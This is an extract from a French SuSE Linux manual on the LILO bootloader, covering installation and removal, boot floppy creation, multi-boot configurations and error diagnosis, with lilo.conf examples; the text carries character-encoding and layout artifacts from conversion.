~ append="<paramΦtres>"
Option image pour le noyau Linux. Permet la transmission de paramΦtres
du noyau, par exemple lorsque l'on fait connaεtre au noyau les composants
matΘriels exactement comme il est possible de le faire α l'invite de LILO .
Le noyau reτoit d'abord la ligne append et ensuite les entrΘes α l'invite.
C'est pourquoi, en cas de doute, les entrΘes α l'invite sont prΘdominantes.
Par exemple : append="mcd=0x300,10"
12 ____________________________________________________
Peut Ωtre visualisΘe avec la commande rdev -R <image de noyau> . Elle est de toute
faτon en lecture seule (vΘrifier !) pour les noyaux d'installation ainsi que dans le cas d'un noyau
nouvellement compilΘ et on n'a donc pas besoin normalement de cette option.
*
* 129
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
4.5 Installation et dΘsinstallation de LILO
Lors d'une nouvelle installation de Linux, YaST guide l'utilisateur de faτon
interactive α travers les Θtapes indispensables et il n'est en gΘnΘral pas nΘ-
cessaire d'intervenir manuellement dans la procΘdure d'installation de LILO .
Mais ici nous supposons que LILO doit Ωtre intΘgrΘ avec des options spΘciales
dans un systΦme.
________________________________________________________________________________________________________*
*________||
| L'installation d'un gestionnaire d'amorτage constitue une intervention au *
* ||||
| *
* |||
| sein du systΦme et elle est par consΘquent extrΩmement dΘlicate. Vous de- *
* |||
| vez absolument vous assurer, avant l'installation de LILO , que vous pou- *
* |||
| *
* |||
| vez amorcer votre Linux et si possible aussi vos autres systΦmes d'exploi- *
* |||
| tation α partir d'une disquette ! Vous devez surtout avoir fdisk α votre dis- *
* |||
| *
* |||
| position. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Installation aprΦs modification de la configuration
Si quelque chose a changΘ dans les ΘlΘments qui composent LILO ( page 121)
ou si vous avez modifiΘ votre configuration dans /etc/lilo.conf, vous
devrez procΘder α une nouvelle installation de LILO . Cela se fait par une
simple invocation du ``map-installer'' :
terre: # /sbin/lilo
LILO crΘe alors une sauvegarde du secteur (d'amorτage) cible, Θcrit son ``pre-
mier niveau'' sur ce secteur et gΘnΦre un nouveau fichier map (voir page 121).
Ensuite, LILO affiche l'un aprΦs l'autre les systΦmes installΘs - comme dans
le cas de notre configuration exemple (voir affichage 4.5.1) :
________________________________________________________________________________________________________*
*________
| Added Linux* *
* |
| Added Linux.old *
* |
| *
* |
|_Added__DOS____________________________________________________________________________________________*
*________ |
affichage α l'Θcran 4.5.1: Sorties α l'appel de LILO
Lorsque l'installation est terminΘe, la machine peut Ωtre redΘmarrΘe :
terre: # shutdown -r now
AprΦs que le BIOS ait effectuΘ son test du systΦme, LILO se manifeste en-
core par un message d'invite. Vous pouvez alors transmettre α LILO des_pa-_
ramΦtres pour le noyau et sΘlectionner l'image de boot dΘsirΘe. Avec |T____a|b, il
est possible de faire Θtablir une liste des configurations installΘes.
Installation aprΦs nouvelle compilation du noyau
Si vous voulez intΘgrer un noyau nouvellement compilΘ dans votre concept
d'amorτage, vous avez, outre la possibilitΘ de procΘder manuellement α une
nouvelle installation de LILO , encore une autre possibilitΘ qui vous offre plus
de commoditΘ :
L'organisation des commandes pour configurer et gΘnΘrer le noyau est
enregistrΘe dans le fichier /usr/src/linux/Makefile. C'est lα que
INSTALL_PATH=/boot doit Ωtre dΘterminΘe (voir paragraphe 13.5 page 363).
130
_________________________________________________________________4.5.__Installation_et_dΘsinstallation_de_LILO______________*
*______________________
Ce Makefile dispose d'un target nommΘ bzlilo qui, aprΦs une compi-
lation automatique du noyau, copie le noyau installΘ sous /boot/vmlinuz
(autrefois /vmlinuz) vers /boot/vmlinuz.old, Θcrit le noyau qui vient
d'Ωtre gΘnΘrΘ vers /boot/vmlinuz et rΘinstalle LILO . Il suffit pour cela de
taper :
terre:/usr/src/linux # make bzlilo
Cela n'a toutefois de sens que si votre /etc/lilo.conf a ΘtΘ prΘparΘ aupa-
ravant α cet appel de LILO et si le noyau que vous utilisiez jusqu'α prΘsent
est vraiment situΘ sous /boot/vmlinuz. Sous vos images, vous devriez faire
figurer le nouveau noyau - et pour des raisons de sΘcuritΘ aussi l'ancien -
comme cela a ΘtΘ fait dans le fichier 4.4.1 page 125.
Vous pouvez ainsi, α l'invite de LILO , dΘmarrer aussi bien le nouveau noyau
que l'ancien noyau ~ en Θtat de fonctionnement ~ (nom dans l'exemple :
Linux.old ). Vous construisez ainsi un niveau de sΘcuritΘ supplΘmentaire qui
est utile dans le cas o∙ le systΦme ne serait pas capable d'amorcer avec le
nouveau noyau.
Pour savoir comment gΘnΘrer un nouveau noyau, reportez-vous au chapitre 13
page 359.
Suppression de LILO
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| La dΘsinstallation d'un gestionnaire d'amorτage constitue une intervention || |
|||||||| au sein du systΦme et elle est par consΘquent extrΩmement dΘlicate. Vous || |
|||||||| || |
|||||||| devez absolument vous assurer, avant la dΘsinstallation de LILO , que vous || |
|||||||| pouvez amorcer votre Linux et aussi vos autres systΦmes d'exploitation ~ || |
|||||||| || |
|||||||| si ceux-ci existent ~ α partir d'une disquette ! Vous risquez sinon d'avoir la || |
|||||||| dΘsagrΘable surprise de ne plus pouvoir accΘder aux systΦmes d'exploita- || |
|||||||| || |
|||||||| tion qui rΘsident sur votre disque dur. || |
||||||||_______________________________________________________________________________________________________________||_
Il sera peut-Ωtre un jour nΘcessaire de dΘsinstaller LILO :-( Cela se fait en
restituant au secteur (d'amorτage) cible sur lequel LILO a ΘtΘ installΘ son
contenu initial. Sous Linux, cette opΘration ne prΘsente aucune difficultΘ s'il
existe une copie de sauvegarde valide (voir paragraphe 4.4.2 page 127, option
backup ).
_______________________________________________________________________________________________________________________|||
|||||||| Une sauvegarde du secteur d'amorτage est invalidΘe si la partition concer- ||| |
|||||||| || |
|||||||| nΘe a reτu un nouveau systΦme de fichiers (monde DOS : si elle a ΘtΘ for- || |
|||||||| matΘe). La table des partitions dans une sauvegarde de MBR est invalidΘe || |
|||||||| || |
|||||||| si le disque dur concernΘ a entre temps ΘtΘ partitionnΘ d'une autre maniΦre. || |
|||||||| De telles sauvegardes sont des ``bombes α retardement'' : il est prΘfΘrable || |
|||||||| || |
|||||||| de les effacer immΘdiatement ! La rΘintΘgration de sauvegardes pΘrimΘes || |
|||||||| dans ces secteurs du systΦme est une mΘthode plut⌠t s√re pour obtenir une || |
|||||||| || |
|||||||| perte massive de donnΘes ! || |
||||||||_______________________________________________________________________________________________________________||_
Le plus simple est de restaurer un MBR DOS, Windows ou OS/2. Cela se
fait en utilisant la commande MS-DOS (disponible α partir de la version
DOS 5.0) :
*
* 131
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
C:\> fdisk /mbr
ou, selon le cas, la commande OS/2 :
C:\> fdisk /newmbr
Ces commandes ne rΘΘcrivent que les 446 premiers octets (le code d'amor-
τage) sur le MBR et laissent la table des partitions inchangΘe13 . Ne pas ou-
blier : Marquez comme active (angl. bootable) avec fdisk la partition d'amor-
τage que vous dΘsirez α partir de maintenant ; les routines du MBR, de DOS,
de Windows et d'OS/2 le requiΦrent !
CrΘez aussi une nouvelle sauvegarde supplΘmentaire du secteur LILO cri-
tique ~ on n'est jamais trop s√r. VΘrifiez ensuite ~ plut⌠t deux fois qu'une ;-)
~ que votre ancien fichier de sauvegarde est bien le bon et qu'il a une taille
d'exactement 512 octets. Pour terminer, remettez-le en place. Ceci se fait avec
les commandes suivantes (ne pas confondre if= et of= ! !) :
~ Si LILO rΘside sur la partition yyyy (par exemple hda1, hda2, : : :) :
terre: # dd if=/dev/yyyy of=nouveau bs=512 count=1
terre: # dd if=sauvegarde of=/dev/yyyy
~ Si LILO rΘside sur le MBR du disque dur zzz (par exemple hda, sda) :
terre: # dd if=/dev/zzz of=nouveau bs=512 count=1
terre: # dd if=sauvegarde of=/dev/zzz bs=446 count=1
La derniΦre commande est ``prudente'' et n'Θcrit pas dans la table des parti-
tions. Ne pas oublier non plus ici : Marquez de nouveau comme active (angl.
bootable) avec fdisk la partition de dΘmarrage que vous dΘsirez α partir de
maintenant.
Remarque : Vous avez constatΘ α quel point la sauvegarde d'un secteur
d'amorτage est rapide ! Il est recommandΘ d'effectuer cette opΘration plus
frΘquemment.
4.6 GΘnΘrer une disquette d'amorτage Linux
Une disquette d'amorτage Linux est constituΘe ~ pour dire les choses de
faτon simplifiΘe - d'un ou de plusieurs noyaux Linux Θventuellement gΘrΘs
par LILO . Elle sert α dΘmarrer votre systΦme Linux sur le disque dur mΩme
lorsqu'il n'est plus possible d'amorcer directement α partir du disque. Les
causes de ce problΦme peuvent Ωtre : MBR ΘcrasΘ, gestionnaire d'amorτage
mal configurΘ, erreurs lors de l'installation de LILO .
Une telle disquette d'amorτage charge seulement le noyau : tout le reste (init ,
scripts de dΘmarrage, programmes systΦme importants) est requis par votre
systΦme et doit demeurer fonctionnel. On Θtablit la liaison de la disquette
d'amorτage avec le systΦme sur le disque dur en configurant dans le noyau la
partition racine concernΘe comme pΘriphΘrique racine.
Ceci ne doit pas Ωtre confondu avec les disquettes d'amorτage SuSE pour
systΦmes d'installation et de secours dont vous pouvez, α l'aide des fichiers
1_____________________________________________3
Sauf si le MBR ( page 118) est considΘrΘ dans sa totalitΘ comme n'Θtant pas valide en raison
d'un ``nombre magique'' erronΘ : la table des partitions est alors remplie de zΘros ! !
132
____________________________________________________________4.6.__GΘnΘrer_une_disquette_d'amorτage_Linux___________________*
*_______________________
images (angl. image files) sous /disks sur le premier CD, crΘer α tout mo-
ment de nouveaux exemplaires (voir paragraphe 16.5 page 438).
Disquette d'amorτage sans LILO
Si vous avez la chance que votre noyau n'ait besoin, lors du dΘmarrage,
d'aucune ligne de commande supplΘmentaire contenant des informations sur
le matΘriel ou autres choses14 , la mΘthode la plus rapide pour obtenir une
disquette d'amorτage pour votre systΦme Linux consistera tout simplement α
Θcrire votre noyau actuel sur une disquette vierge sans aucune dΘfectuositΘ et,
au cas o∙ ce ne serait pas dΘjα fait, α configurer correctement le pΘriphΘrique
racine :
terre: # /sbin/badblocks -v /dev/fd0 1440
terre: # dd if=votre noyau of=/dev/fd0 bs=18k
terre: # rdev /dev/fd0 votre partition racine
terre: # rdev -R /dev/fd0 1
La premiΦre commande vΘrifie si la disquette n'a pas de blocs dΘfectueux
(1 bloc = 1k). La derniΦre commande veille α ce que le noyau monte d'abord
la partition racine, comme il se doit, en mode lecture seule (les scripts de
dΘmarrage du systΦme y comptent).
Disquette d'amorτage avec LILO
Il est possible de gΘnΘrer une disquette d'amorτage plus attrayante avec mes-
sage d'accueil, invite pour le noyau et les paramΦtres du noyau et autres goo-
dies offerts par LILO en transcrivant sur une disquette le mΘcanisme complet
de dΘmarrage de LILO (voir page 121). Pour cela, la disquette a besoin d'un
systΦme de fichiers, de prΘfΘrence minix .
Pour prendre vous-mΩme les choses en main, vous devez procΘder de cette
maniΦre :
~ CrΘez, sur une disquette vierge, un systΦme de fichiers minix ~ avec
contr⌠le d'erreurs pour plus de sΘcuritΘ ~ et si vous avez rΘussi, montez
par exemple sous /mnt :
terre: # /sbin/mkfs.minix -c /dev/fd0 1440
terre: # /bin/mount /dev/fd0 /mnt
~ Copiez vos fichiers de noyau et le fichier LILO /boot/boot.b vers /mnt
(c'est-α-dire sur la disquette)
~ Optionnel : CrΘez un fichier /mnt/messages pour le message d'accueil.
~ CrΘez dans /mnt un propre fichier lilo.conf comme dans l'exemple
donnΘ par le (fichier 4.6.1 page suivante. Vous devez naturellement rem-
placer Votre_pΘriphΘrique_racine par la vΘritable partition racine :
~ Si vous utilisez initrd, vous devez aussi l'inscrire dans lilo.conf. Voir
les informations du paragraphe 16.2.3 page 425.
~ Installez LILO avec ce lilo.conf :
terre: # /sbin/lilo -C /mnt/lilo.conf
14 ____________________________________________________
Il s'agit ici du cas normal o∙ vous avez compilΘ dans le noyau (``noyau monolitique'') le support
pour le contr⌠leur de disque.
*
* 133
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| # LILO Fichier de configuration Disquette d'amorτage *
* |
||# Start LILO global Section *
* ||
| boot=/dev/fd0 # Cible de l'installation: disquette *
* |
| install=/mnt/boot.b # Naturellement LILO et *
* |
| *
* |
| map=/mnt/map # Fichier map sur la disquette! *
* |
| message=/mnt/message # optionnel *
* |
| *
* |
| prompt *
* |
| timeout=100 # Attente α l'invite: 10 s. *
* |
| *
* |
| vga = normal # *
* |
| # End LILO global section *
* |
| *
* |
| # *
* |
| # Linux bootable partition config begins *
* |
| image = /mnt/vmlinuz # par dΘfaut *
* |
| *
* |
| # partition racine par ici *
* |
| root = /dev/Votre_pΘriphΘrique_racine *
* |
| *
* |
| label = linux *
* |
| # Linux bootable partition config ends *
* |
| *
* |
| # *
* |
| # Sections de systΦme pour d'autre noyaux ici: *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.6.1: lilo.conf pour disquette d'amorτage
~ DΘmontez la disquette et vous avez terminΘ !
terre: # /bin/umount /mnt
~ Ne pas oublier : Faites un essai pour savoir si la disquette d'amorτage
fonctionne vraiment :-)
4.7 Exemples de configurations
Si votre nouveau Linux est seul sur la machine, il n'est pas nΘcessaire pour le
moment d'agir. Le nΘcessaire a ΘtΘ fait avec YaST dans le cadre de l'installa-
tion.
Quelques exemples pour multisystΦmes vont suivre. Voyez α ce sujet /usr/
doc/howto/en/mini/Linux+*.gz o∙ des Linuxiens laborieux ont dΘcrit
leurs propres configurations multisystΦmes.
4.7.1 DOS/Windows 95/98 et Linux
Condition : DOS/Windows 95/98 et Linux doivent disposer chacun d'une
propre partition sous la limite des 1024 cylindres (voir page 121). La partition
d'amorτage Linux peut aussi Ωtre une partition logique α condition qu'elle soit
situΘe en totalitΘ au dessous de la limite des 1024 cylindres.
Pour ce cas, nous avons dΘjα parlΘ d'une configuration adΘquate (voir fi-
chier 4.4.1 page 125) ~ il n'y a plus qu'α adapter les spΘcifications pour root ,
image et other aux conditions rΘelles. LILO est installΘ sur le MBR. Vous
laisserez bien s√r la section Linux.old de c⌠tΘ s'il n'existe pas un tel noyau
Linux secondaire.
Conservez bien le fichier /etc/lilo.conf et en plus une disquette d'amor-
τage pour votre Linux ! Windows 95/98 a en effet tendance, en diverses oc-
134
__________________________________________________________________________________4.7.__Exemples_de_configurations__________*
*______________________
casions, α Θliminer les MBR ``Θtrangers'' sans autre forme de procΦs. Si vous
pouvez encore aprΦs lancer Linux α l'aide d'une disquette d'amorτage, ce
problΦme sera vite rΘsolu par la simple commande
terre: # /sbin/lilo
4.7.2 Windows NT et Linux sur un disque dur
1. PossibilitΘ : Pour l'amorτage, on utilise le gestionnaire d'amorτage
de NT. Celui-ci est capable d'initialiser non seulement les secteurs
d'amorτage, mais aussi les fichiers images de ces secteurs d'amorτage.
En faisant ce qui suit, il est possible d'amener Linux et Windows NT α
cohabiter :
~ Installation de NT.
~ Tenez α votre disposition un support de donnΘes (partition de disque
dur ou disquette sans aucune dΘfectuositΘ) avec un systΦme de fichiers
sur lequel Linux peut Θcrire et que NT est capable de lire, par exemple
FAT.
~ Installez Linux de la maniΦre ``habituelle'' (comme partition racine
nous prenons ici l'exemple /dev/sda3). Monter le support contenant
le systΦme de fichiers FAT (par exemple sous /dosa). Pour des in-
formations d'ordre gΘnΘral sur le montage, voir paragraphe 19.11.2
page 500. Attention : ne pas utiliser les options mount conv=auto ou
conv=text qui provoquent des altΘrations.
~ Installer LILO sur la partition racine (/dev/sda3) et non pas sur le
MBR (/dev/sda) ! Vous avez tout comme avant la possibilitΘ de confi-
gurer pour LILO une sΘlection faite parmi plusieurs images du noyau
Linux. Comme exemple pour un lilo.conf, voir fichier 4.7.1.
_______________________________________________________________________________________________________________________||||
|||||||| # LILO Fichier de configuration: Rendre amorτable |
|||||||| # la partition racine /dev/sda3 |
|||||||| |
|||||||| # Start LILO global Section |
|||||||| boot=/dev/sda3 # cible de l'installation |
|||||||| |
|||||||| backup=/boot/boot.sda3.980428 # sauvegarde pour secteur |
|||||||| # d'amorτage prΘcΘdent |
|||||||| |
|||||||| prompt |
|||||||| timeout=100 # Attente α l'invite: 10 s |
|||||||| vga = normal # force sane state |
|||||||| |
|||||||| # End LILO global section |
|||||||| # Linux bootable partition config begins |
|||||||| |
|||||||| image = /boot/vmlinuz # default image to boot |
|||||||| root = /dev/sda3 # Partition racine par ici! |
|||||||| |
|||||||| label = Linux |
|||||||| # Linux bootable partition config ends |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.7.1: lilo.conf pour rendre amorτable une partition racine Linux
~ Copiez le secteur d'amorτage de LILO dans un fichier sur le support
de donnΘes FAT accessible α NT, par exemple
terre: # dd if=/dev/sda3 of=/dosa/bootsek.lin bs=512 count=1
*
* 135
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
Cette opΘration, tout comme la suivante, doit bien s√r Ωtre recommen-
cΘe aprΦs chaque mise α jour du noyau !
~ Amorcez NT. Copiez le fichier bootsec.lin (que vous venez juste de
crΘer) dans le rΘpertoire principal de l'unitΘ de disque du systΦme NT
(pour le cas o∙ il n'y serait pas dΘjα).
~ Dans le fichier boot.ini (fixer les attributs) complΘter l'entrΘe sui-
vante α la fin :
c:\bootsek.lin="Linux"
~ Lors du prochain amorτage, il devrait y avoir ~ si tout a bien marchΘ ~
une entrΘe dans le gestionnaire d'amorτage de NT !
2. MΘthode possible bien que malheureusement pas toujours praticable :
Installer LILO sur le MBR et agir avec Windows NT comme s'il Θtait
DOS (comme dans l'exemple prΘcΘdent). Mais attention : Il semble que
cela ne fonctionne plus pour les versions les plus rΘcentes de NT qui,
semble-il, ne dΘmarre que s'il trouve sur le MBR des sΘquences spΘciales
(pour lesquelles il n'existe pas de documentation) et dont LILO ignore
malheureusement tout :-(
________________________________________________________________________________________________________*
*________||
| Windows NT (3.5* et 4.0) ne connaεt pas les types de partitions 82 et 83 *
* ||||
| *
* |||
| utilisΘs par Linux ! Veillez α ce qu'aucun programme NT ne ``rΘpare'' la *
* |||
| table des partitions dans ce sens : danger de perte de donnΘes ! Tenez α *
* |||
| *
* |||
| disposition, pour plus de sΘcuritΘ, des sauvegardes valides du MBR de *
* |||
| LILO . *
* |||
|_______________________________________________________________________________________________________*
*________|||_
4.7.3 OS/2 et Linux
1. PossibilitΘ : Pour amorcer, on utilise le gestionnaire d'amorτage d'OS/2.
Il peut dΘmarrer n'importe quelles partitions primaires et logiques dans la
limite des 1024 cylindres ~ c'est α l'utilisateur qu'il incombe de veiller
α ce qu'elles soient vraiment amorτables. Le gestionnaire d'amorτage est
configurΘ avec le fdisk de OS/2.
PrΘparation du c⌠tΘ de Linux : Une partition primaire Linux (habituel-
lement la partition racine) est rendue amorτable avec LILO . Le mΩme
lilo.conf que dans le fichier 4.7.1 page prΘcΘdente est propre α cet
usage. Mais auparavant, il y a encore certaines choses α prendre en consi-
dΘration : : ::
PrΘparation du c⌠tΘ d'OS/2 : OS/2 ne se contente pas, pour la gestion
des partitions prΘsentes (sur les MBR des disques durs et sur les sec-
teurs des partitions Θtendues et logiques) des entrΘes conventionnelles et
gΘnΘralement comprΘhensibles. Il utilise l'espace disponible sur ces sec-
teurs pour le stockage d'informations complΘmentaires. Si celles-ci sont
incohΘrentes, le fdisk de OS/2 considΦre la table des partitions comme er-
ronΘe et refuse de remplir les fonctions de gestionnaire d'amorτage. Les
programmes fdisk d'autres systΦmes d'exploitation n'ont pas coutume de
gΘrer de telles informations complΘmentaires : : : Des conflits sont donc
α prΘvoir.
Il convient par consΘquent, avant l'installation de Linux, de charger OS/2
(le systΦme d'installation est suffisant) et de crΘer les partitions Linux, du
136
__________________________________________________________________________________________4.8.__ProblΦmes_avec_LILO________*
*_______________________
moins les partitions logiques avec le fdisk d'OS/2. Il en rΘsulte, dans un
premier temps, d'autres unitΘs OS/2 qui peuvent Θventuellement causer
pas mal de perturbations.
Solution : Charger immΘdiatement aprΦs le systΦme d'installation de Li-
nux (ou la disquette de secours) α partir du CD SuSE Linux et modifier α
l'aide du fdisk de Linux le type de la partition Linux en 83 (Linux natif).
Ainsi, ces partitions seront ignorΘes en bonne et due forme par OS/2.
2. PossibilitΘ : En tant que gestionnaire d'amorτage principal, LILO est uti-
lisΘ sur une partition primaire du premier disque15 . C'est un cas particulier
de l'exemple qui va suivre et dans lequel DOS est Θgalement prΘsent.
4.7.4 DOS, OS/2 et Linux
1. Si vous avez utilisΘ pour DOS et OS/2 le gestionnaire d'amorτage
d'OS/2 et si vous voulez continuer α l'utiliser, le plus simple est d'inclure
Linux dans son menu de dΘmarrage : exactement comme il est dΘcrit dans
le dernier exemple.
2. PossibilitΘ : En tant que gestionnaire d'amorτage principal, LILO est
utilisΘ sur une partition primaire du premier disque.
L'exemple compliquΘ qui va suivre pour lilo.conf (fichier 4.7.2 page
suivante) prΘsume que les partitions de dΘmarrage pour DOS (partition
primaire) et pour Linux (partition primaire) se trouvent sur le premier
disque et que la partition de dΘmarrage (logique) pour OS/2 est situΘe
sur le deuxiΦme disque ~ chacune d'entre elles dans la limite des 1024
cylindres. OS/2 se trouve sur le deuxiΦme disque, c'est pourquoi α la place
de /boot/chain.b on utilise le chargeur spΘcial /boot/os2_d.b.
Il est indiffΘrent que le code du MBR provienne de MS-DOS ou d'OS/2.
Dans la table des partitions, la partition LILO /dev/sda4 doit Ωtre mar-
quΘe comme partition de dΘmarrage (active) α l'aide du programme fdisk .
4.8 ProblΦmes avec LILO
Quelques directives
Commenτons par quelques directives simples qui vous permettront d'Θviter
dΦs le dΘbut la plupart des problΦmes liΘs α LILO (extrait du manuel de
l'utilisateur [Alm96 ]) :
~ Pas de panique ! Si quelque chose ne fonctionne pas : essayez d'abord
de retrouver l'erreur et d'en dΘcouvrir la cause ; vΘrifiez votre diagnostic
avant de commencer α prendre des mesures pour y remΘdier.
~ Tenez toujours α disposition une ``disquette de boot'' actuelle et ΘprouvΘe.
La disquette d'amorτage et le CD d'installation SuSE Linux contiennent,
depuis la version 5.0, un systΦme Linux autonome (systΦme de secours,
voir paragraphe 16.5 page 438), avec lequel vous pourrez de nouveau
accΘder α vos partitions Linux. Il contient suffisamment d'outils pour
rΘsoudre la plupart des problΦmes posΘs par des disques durs qui ne sont
plus accessibles.
15 ____________________________________________________
Moins effectif : le MBR, car chaque repartitionnement avec un fdisk Θtranger pourrait le
rΘΘcrire et supprimer ainsi LILO .
*
* 137
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||
| # LILO Fichier de configuration *
* |
| *
* |
| # Start LILO global Section *
* |
| boot = /dev/sda4 # LILO dans la partition racine Linux *
* |
| backup = /boot/boot.sda4.970428 *
* |
| *
* |
| message = /boot/message # Message d'accueil *
* |
| prompt *
* |
| *
* |
| delay = 100 *
* |
| vga = normal *
* |
| *
* |
| # *
* |
| # Linux bootable partition config begins *
* |
| *
* |
| image = /boot/vmlinuz *
* |
| label = linux *
* |
| *
* |
| root = /dev/sda4 *
* |
| # Linux bootable partition config ends *
* |
| # *
* |
| *
* |
| # OS/2 bootable partition config begins *
* |
| other = /dev/sdb5 *
* |
| *
* |
| table = /dev/sdb *
* |
| label = os2 *
* |
| *
* |
| loader = /boot/os2_d.b *
* |
| # New for LILO v20 and newer: interchange disk drives: *
* |
| *
* |
| map-drive = 0x80 # first hd: BIOS number 0x80 *
* |
| to = 0x81 # second hd: BIOS number 0x81 *
* |
| *
* |
| map-drive = 0x81 *
* |
| to = 0x80 *
* |
| # OS/2 bootable partition config ends *
* |
| *
* |
| # *
* |
| # DOS bootable partition config begins *
* |
| *
* |
| other = /dev/sda1 *
* |
| table = /dev/sda *
* |
| *
* |
| label = dos *
* |
| # DOS bootable partition config ends *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.7.2: LILO avec DOS, OS/2 et Linux sur deux disques durs
~ Lisez la documentation, surtout si le systΦme ne fait pas ce qu'α votre avis
il devrait faire.
~ Avant chaque appel du map-installer (/sbin/lilo) : vΘrifiez soigneuse-
ment le fichier de configuration /etc/lilo.conf.
~ Invoquez /sbin/lilo α chaque fois qu'un ΘlΘment du mΘcanisme de
dΘmarrage de LILO ou le fichier de configuration de LILO /etc/lilo.
conf a ΘtΘ modifiΘ.
~ La prudence est de rigueur si vous avez de grands disques ou plusieurs
disques : tenez compte de la limite des 1024 cylindres !
~ Faites un essai avec et sans option linear (il est le plus souvent prΘfΘ-
rable de se passer de cette option !)
4.8.1 Diagnostic d'erreur : Message de dΘmarrage de LILO
Nous reprenons ici, en le traduisant, l'essentiel d'un paragraphe extrait de
[Alm96 ] de la description faite par Werner Almesberger.
138
__________________________________________________________________________________________4.8.__ProblΦmes_avec_LILO_________*
*______________________
Lorsque LILO est chargΘ, il affiche le mot `LILO'. Chaque lettre correspond
α l'achΦvement d'une phase spΘcifique. Lorsque LILO ne peut pas dΘmarrer,
les lettres dΘjα affichΘes montrent de faτon prΘcise α quel stade un problΦme
est survenu.
(rien) Aucune partie de LILO n'a ΘtΘ chargΘe. Ou LILO n'est pas du tout
installΘ, ou la partition contenant le secteur d'amorτage de LILO n'a pas
ΘtΘ initialisΘe.
`L' error : : : Le ``premier niveau'' a ΘtΘ chargΘ et dΘmarrΘ mais le second
niveau n'a pas pu Ωtre chargΘ (/boot/boot.b). Ceci laisse habituelle-
ment supposer qu'on est en prΘsence d'un dΘfaut physique du support de
donnΘes d'amorτage ou d'une incohΘrence dans la gΘomΘtrie du disque.
`LI' Le second niveau de LILO a ΘtΘ chargΘ mais n'a pas pu Ωtre dΘmarrΘ.
Cela a pu Ωtre provoquΘ par une incohΘrence dans la gΘomΘtrie du disque
ou par le dΘplacement de /boot/boot.b sans rΘinstallation de LILO .
`LIL' Le second niveau de LILO a ΘtΘ dΘmarrΘ mais n'a pas pu charger les
donnΘes nΘcessaires (table de descripteurs etc.) depuis le fichier map. Ceci
est typiquement provoquΘ par un dΘfaut physique du support de donnΘes
d'amorτage ou par une incohΘrence dans la gΘomΘtrie du disque.
`LIL ?' Le second niveau de LILO a ΘtΘ chargΘ α une adresse mΘmoire
erronΘe. Ceci est typiquement provoquΘ par une incohΘrence subtile dans
la gΘomΘtrie du disque ou par le dΘplacement de /boot/boot.b sans
nouvelle installation de LILO .
`LIL-' Les donnΘes dans le fichier map sont corrompues. Ceci est typique-
ment provoquΘ par une incohΘrence dans la gΘomΘtrie du disque ou par le
dΘplacement de /boot/boot.b sans nouvelle installation de LILO .
`LILO' Toutes les parties de LILO ont ΘtΘ chargΘes avec succΦs.
Les causes les plus courantes pour des incohΘrences dans la gΘomΘtrie ne
sont pas des dΘfauts physiques ni des tables de partitions non valides mais
des erreurs lors de l'installation de LILO :
~ non respect de la limite des 1024 cylindres (voir paragraphe suivant) ;
~ Θchec dans la tentative de dΘmarrer avec LILO α partir d'une partition
logique.
4.8.2 La limite des 1024 cylindres
Comme nous l'avons dΘjα rΘpΘtΘ plusieurs fois ( page 121), la totalitΘ du
mΘcanisme de dΘmarrage de LILO , c'est-α-dire l'ensemble des donnΘes dont
LILO a besoin pour dΘmarrer, doit Ωtre accessible avec les seules routines
du BIOS. Nous avons dΘjα mentionnΘ quels secteurs du disque dur peuvent
Ωtre considΘrΘs comme adΘquats (par la suite, nous parlerons simplement de
secteurs admissibles).
Quelles possibilitΘs peut-on envisager avec ces restrictions ? En fait un bon
nombre si l'on considΦre que seul le mΘcanisme de dΘmarrage est concernΘ.
Aucune rΦgle ne prescrit que celui-ci doit Ωtre situΘ sur la partition racine
de Linux : il est mΩme possible, en cas de nΘcessitΘ absolue, (bien que cela
*
* 139
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
comporte certains risques) de transfΘrer les fichiers concernant le dΘmarrage
sur les partitions d'autres systΦmes d'exploitation α condition que Linux ait
un accΦs en lecture et en Θcriture α leurs systΦmes de fichiers.
________________________________________________________________________________________________________*
*________||
| Vous devez seulement vous garder d'installer le secteur d'amorτage de *
* ||||
| LILO sur une partition ΘtrangΦre car le systΦme de fichiers de celle-ci serait *
* |||
| *
* |||
| trΦs probablement dΘtΘriorΘ ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
~ La solution la plus correcte consiste α crΘer, lors de l'installation de
Linux, une partition primaire Linux dans les limites du secteur admissible
et d'y loger les donnΘes de LILO (y compris le secteur d'amorτage de
LILO ). Cette partition est actuellement, dans la majeure partie des cas,
la partition racine de Linux. Depuis la version 6.0 de SuSE Linux, une
partition (/boot) sΘparΘe est prΘvue pour le cas d'une installation avec
YaST . Cette partition a seulement la taille nΘcessaire pour contenir les
fichiers suivants :
~ boot.b, map, messages,
~ les noyaux Linux que LILO doit amorcer.
Il suffit donc de quelques mΘga-octets. Le reste du systΦme ne subit plus
aucune restriction concernant son emplacement sur le(s) disque(s) dur(s) :
lorsque le noyau a commencΘ α tourner, il a un accΦs illimitΘ α tous les
disques durs du systΦme.
Mais que faire s'il n'y a plus de place pour une telle partition ? Si vous ne
voulez pas ou ne pouvez pas repartitionner et s'il n'est pas non plus ques-
tion d'envisager une mise α niveau (angl. upgrade) vers SCSI ou un BIOS
moderne, il existe encore deux solutions de fortune :
~ Utiliser une disquette d'amorτage α la place de LILO sur le disque ou, si
vous travaillez sous MS-DOS, amorcer Linux α l'aide de loadlin .
~ Placer tout ce qui constitue le mΘcanisme de dΘmarrage de LILO sur
une partition non Linux situΘe dans les limites du secteur admissible et
sur laquelle Linux peut Θcrire (par exemple une unitΘ de disque DOS
FAT/VFAT). Il n'est naturellement pas possible d'y Θcrire aussi le secteur
d'amorτage de LILO ! Il ne reste donc plus pour cela que le dΘbut d'une
partition Θtendue sur le premier disque ~ avant le 1024Φme cylindre ~ ou
le MBR. Supposons que la partition concernΘe soit montΘe sous /mnt.
